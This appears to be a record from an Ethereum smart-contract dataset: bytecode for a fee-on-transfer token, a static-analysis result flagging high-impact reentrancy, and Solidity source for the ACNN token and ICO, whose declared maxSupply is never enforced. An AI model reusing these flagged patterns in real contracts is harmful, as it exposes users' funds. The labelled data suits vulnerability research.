48160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112426103e8611234600f686c6b935b8bbd400000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f819055506112796103e861126b601e686c6b935b8bbd400000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611339929190612f07565b6020604051808303816000875af1158015611358573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137c9190612f45565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613076565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115cb91906128bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad9061319a565b60405180910390fd5b600081116116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f09061322c565b60405180910390fd5b6000600a819055506003600b81905550611711610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177f575061174f610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118285750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119325750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561194a5750600e60179054906101000a900460ff165b15611a8857600f54811115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90613298565b60405180910390fd5b601054816119a1846109dd565b6119ab91906132b8565b11156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e39061335a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3757600080fd5b601e42611a4491906132b8565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b895750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9f576000600a819055506003600b819055505b6000611baa306109dd565b9050600e60159054906101000a900460ff16158015611c175750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2f5750600e60169054906101000a900460ff165b15611c5757611c3d81611e6b565b60004790506000811115611c5557611c5447611d91565b5b505b505b611c648383836120e4565b505050565b6000838311158290611cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca8919061276e565b60405180910390fd5b5060008385611cc0919061337a565b9050809150509392505050565b6000808303611cdf5760009050611d41565b60008284611ced91906133ae565b9050828482611cfc9190613437565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d33906134da565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b9061356c565b60405180910390fd5b6000611e4e612157565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea26128dd565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb49190612da3565b81600181518110611fc857611fc7612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140f565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209395949392919061364a565b600060405180830381600087803b1580156120ad57600080fd5b505af11580156120c1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ef838383612182565b505050565b6000808311829061213b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612132919061276e565b60405180910390fd5b506000838561214a9190613437565b9050809150509392505050565b600080600061216461234d565b9150915061217b8183611d4790919063ffffffff16565b9250505090565b600080600080600080612194876123af565b9550955095509550955095506121f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d3816124bf565b6122dd848361257c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233a91906128bd565b60405180910390a3505050505050505050565b600080600060085490506000686c6b935b8bbd4000009050612383686c6b935b8bbd400000600854611d4790919063ffffffff16565b8210156123a257600854686c6b935b8bbd4000009350935050506123ab565b81819350935050505b9091565b60008060008060008060008060006123cc8a600a54600b546125b6565b92509250925060006123dc612157565b905060008060006123ef8e87878761264c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c69565b905092915050565b600080828461247091906132b8565b9050838110156124b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ac906136f0565b60405180910390fd5b8091505092915050565b60006124c9612157565b905060006124e08284611ccd90919063ffffffff16565b905061253481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125918260085461241790919063ffffffff16565b6008819055506125ac8160095461246190919063ffffffff16565b6009819055505050565b6000806000806125e260646125d4888a611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061260c60646125fe888b611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061263582612627858c61241790919063ffffffff16565b61241790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126658589611ccd90919063ffffffff16565b9050600061267c8689611ccd90919063ffffffff16565b905060006126938789611ccd90919063ffffffff16565b905060006126bc826126ae858761241790919063ffffffff16565b61241790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270f5780820151818401526020810190506126f4565b8381111561271e576000848401525b50505050565b6000601f19601f8301169050919050565b6000612740826126d5565b61274a81856126e0565b935061275a8185602086016126f1565b61276381612724565b840191505092915050565b600060208201905081810360008301526127888184612735565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cf826127a4565b9050919050565b6127df816127c4565b81146127ea57600080fd5b50565b6000813590506127fc816127d6565b92915050565b6000819050919050565b61281581612802565b811461282057600080fd5b50565b6000813590506128328161280c565b92915050565b6000806040838503121561284f5761284e61279a565b5b600061285d858286016127ed565b925050602061286e85828601612823565b9150509250929050565b60008115159050919050565b61288d81612878565b82525050565b60006020820190506128a86000830184612884565b92915050565b6128b781612802565b82525050565b60006020820190506128d260008301846128ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291582612724565b810181811067ffffffffffffffff82111715612934576129336128dd565b5b80604052505050565b6000612947612790565b9050612953828261290c565b919050565b600067ffffffffffffffff821115612973576129726128dd565b5b602082029050602081019050919050565b600080fd5b600061299c61299784612958565b61293d565b905080838252602082019050602084028301858111156129bf576129be612984565b5b835b818110156129e857806129d488826127ed565b8452602084019350506020810190506129c1565b5050509392505050565b600082601f830112612a0757612a066128d8565b5b8135612a17848260208601612989565b91505092915050565b600060208284031215612a3657612a3561279a565b5b600082013567ffffffffffffffff811115612a5457612a5361279f565b5b612a60848285016129f2565b91505092915050565b600080600060608486031215612a8257612a8161279a565b5b6000612a90868287016127ed565b9350506020612aa1868287016127ed565b9250506040612ab286828701612823565b9150509250925092565b600060208284031215612ad257612ad161279a565b5b6000612ae0848285016127ed565b91505092915050565b600060ff82169050919050565b612aff81612ae9565b82525050565b6000602082019050612b1a6000830184612af6565b92915050565b612b2981612878565b8114612b3457600080fd5b50565b600081359050612b4681612b20565b92915050565b600060208284031215612b6257612b6161279a565b5b6000612b7084828501612b37565b91505092915050565b600060208284031215612b8f57612b8e61279a565b5b6000612b9d84828501612823565b91505092915050565b612baf816127c4565b82525050565b6000602082019050612bca6000830184612ba6565b92915050565b60008060408385031215612be757612be661279a565b5b6000612bf5858286016127ed565b9250506020612c06858286016127ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c466020836126e0565b9150612c5182612c10565b602082019050919050565b60006020820190508181036000830152612c7581612c39565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce582612802565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1757612d16612cab565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d586017836126e0565b9150612d6382612d22565b602082019050919050565b60006020820190508181036000830152612d8781612d4b565b9050919050565b600081519050612d9d816127d6565b92915050565b600060208284031215612db957612db861279a565b5b6000612dc784828501612d8e565b91505092915050565b6000604082019050612de56000830185612ba6565b612df26020830184612ba6565b9392505050565b6000819050919050565b6000819050919050565b6000612e28612e23612e1e84612df9565b612e03565b612802565b9050919050565b612e3881612e0d565b82525050565b600060c082019050612e536000830189612ba6565b612e6060208301886128ae565b612e6d6040830187612e2f565b612e7a6060830186612e2f565b612e876080830185612ba6565b612e9460a08301846128ae565b979650505050505050565b600081519050612eae8161280c565b92915050565b600080600060608486031215612ecd57612ecc61279a565b5b6000612edb86828701612e9f565b9350506020612eec86828701612e9f565b9250506040612efd86828701612e9f565b9150509250925092565b6000604082019050612f1c6000830185612ba6565b612f2960208301846128ae565b9392505050565b600081519050612f3f81612b20565b92915050565b600060208284031215612f5b57612f5a61279a565b5b6000612f6984828501612f30565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fce6024836126e0565b9150612fd982612f72565b604082019050919050565b60006020820190508181036000830152612ffd81612fc1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130606022836126e0565b915061306b82613004565b604082019050919050565b6000602082019050818103600083015261308f81613053565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f26025836126e0565b91506130fd82613096565b604082019050919050565b60006020820190508181036000830152613121816130e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131846023836126e0565b915061318f82613128565b604082019050919050565b600060208201905081810360008301526131b381613177565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132166029836126e0565b9150613221826131ba565b604082019050919050565b6000602082019050818103600083015261324581613209565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132826019836126e0565b915061328d8261324c565b602082019050919050565b600060208201905081810360008301526132b181613275565b9050919050565b60006132c382612802565b91506132ce83612802565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330357613302612cab565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613344601a836126e0565b915061334f8261330e565b602082019050919050565b6000602082019050818103600083015261337381613337565b9050919050565b600061338582612802565b915061339083612802565b9250828210156133a3576133a2612cab565b5b828203905092915050565b60006133b982612802565b91506133c483612802565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fd576133fc612cab565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344282612802565b915061344d83612802565b92508261345d5761345c613408565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c46021836126e0565b91506134cf82613468565b604082019050919050565b600060208201905081810360008301526134f3816134b7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613556602a836126e0565b9150613561826134fa565b604082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135c1816127c4565b82525050565b60006135d383836135b8565b60208301905092915050565b6000602082019050919050565b60006135f78261358c565b6136018185613597565b935061360c836135a8565b8060005b8381101561363d57815161362488826135c7565b975061362f836135df565b925050600181019050613610565b5085935050505092915050565b600060a08201905061365f60008301886128ae565b61366c6020830187612e2f565b818103604083015261367e81866135ec565b905061368d6060830185612ba6565b61369a60808301846128ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136da601b836126e0565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220382d01a60145db33932a3e4a63034f21488303b0dfdb637b28ebae29b50ee0f064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,774 |
0x00d55d3ed178aa58d47fa23e29e8ab732452eddf
|
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 kweiAmount = weiAmount/1000;
// calculate token amount to be created
uint256 tokens = kweiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ACNN is MintableToken, BurnableToken {
string public name = "ACNN";
string public symbol = "ACNN";
uint256 public decimals = 18;
uint256 public maxSupply = 552018 * (10 ** decimals);
function ACNN() public {
}
function transfer(address _to, uint _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract ACNNIco is Ownable, Crowdsale {
using SafeMath for uint256;
mapping (address => uint256) public boughtTokens;
mapping (address => uint256) public claimedAirdropTokens;
// max tokens cap
uint256 public tokenCap = 500000 * (10 ** 18);
// amount of sold tokens
uint256 public soldTokens;
function ACNNIco(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
address _token
) public
Crowdsale (_startTime, _endTime, _rate, _wallet)
{
require(_token != 0x0);
token = ACNN(_token);
}
/**
* @dev Set the ico token contract
*/
function createTokenContract() internal returns (MintableToken) {
return ACNN(0x0);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
// get wei amount
uint256 weiAmount = msg.value;
uint256 kweiAmount = weiAmount/1000;
// calculate token amount to be transferred
uint256 tokens = kweiAmount.mul(rate);
// calculate new total sold
uint256 newTotalSold = soldTokens.add(tokens);
// check if we are over the max token cap
require(newTotalSold <= tokenCap);
// update states
weiRaised = weiRaised.add(weiAmount);
soldTokens = newTotalSold;
// mint tokens to beneficiary
token.mint(beneficiary, tokens);
TokenPurchase(
msg.sender,
beneficiary,
weiAmount,
tokens
);
forwardFunds();
}
function updateEndDate(uint256 _endTime) public onlyOwner {
require(_endTime > now);
require(_endTime > startTime);
endTime = _endTime;
}
function closeTokenSale() public onlyOwner {
require(hasEnded());
// transfer token ownership to ico owner
token.transferOwnership(owner);
}
function airdrop(address[] users, uint256[] amounts) public onlyOwner {
require(users.length > 0);
require(amounts.length > 0);
require(users.length == amounts.length);
uint256 oldRate = 1;
uint256 newRate = 2;
uint len = users.length;
for (uint i = 0; i < len; i++) {
address to = users[i];
uint256 value = amounts[i];
uint256 oldTokens = value.mul(oldRate);
uint256 newTokens = value.mul(newRate);
uint256 tokensToAirdrop = newTokens.sub(oldTokens);
if (claimedAirdropTokens[to] == 0) {
claimedAirdropTokens[to] = tokensToAirdrop;
token.mint(to, tokensToAirdrop);
}
}
}
// overriding Crowdsale#hasEnded to add tokenCap logic
// @return true if crowdsale event has ended or cap is reached
function hasEnded() public constant returns (bool) {
bool capReached = soldTokens >= tokenCap;
return super.hasEnded() || capReached;
}
// @return true if crowdsale event has started
function hasStarted() public constant returns (bool) {
return now >= startTime && now < endTime;
}
}
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806340c10f19146102e157806342966c681461033b578063661884631461035e57806370a08231146103b85780637d64bcb4146104055780638da5cb5b1461043257806395d89b4114610487578063a9059cbb14610515578063d5abeb011461056f578063d73dd62314610598578063dd62ed3e146105f2578063f2fde38b1461065e575b600080fd5b341561010c57600080fd5b610114610697565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b6101416106aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610748565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b61022961083a565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610840565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb610856565b6040518082815260200191505060405180910390f35b34156102ec57600080fd5b610321600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061085c565b604051808215151515815260200191505060405180910390f35b341561034657600080fd5b61035c6004808035906020019091905050610a2e565b005b341561036957600080fd5b61039e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b43565b604051808215151515815260200191505060405180910390f35b34156103c357600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd4565b6040518082815260200191505060405180910390f35b341561041057600080fd5b610418610e1d565b604051808215151515815260200191505060405180910390f35b341561043d57600080fd5b610445610ec9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049257600080fd5b61049a610eef565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104da5780820151818401526020810190506104bf565b50505050905090810190601f1680156105075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561052057600080fd5b610555600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f8d565b604051808215151515815260200191505060405180910390f35b341561057a57600080fd5b610582610fa1565b6040518082815260200191505060405180910390f35b34156105a357600080fd5b6105d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fa7565b604051808215151515815260200191505060405180910390f35b34156105fd57600080fd5b610648600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a3565b6040518082815260200191505060405180910390f35b341561066957600080fd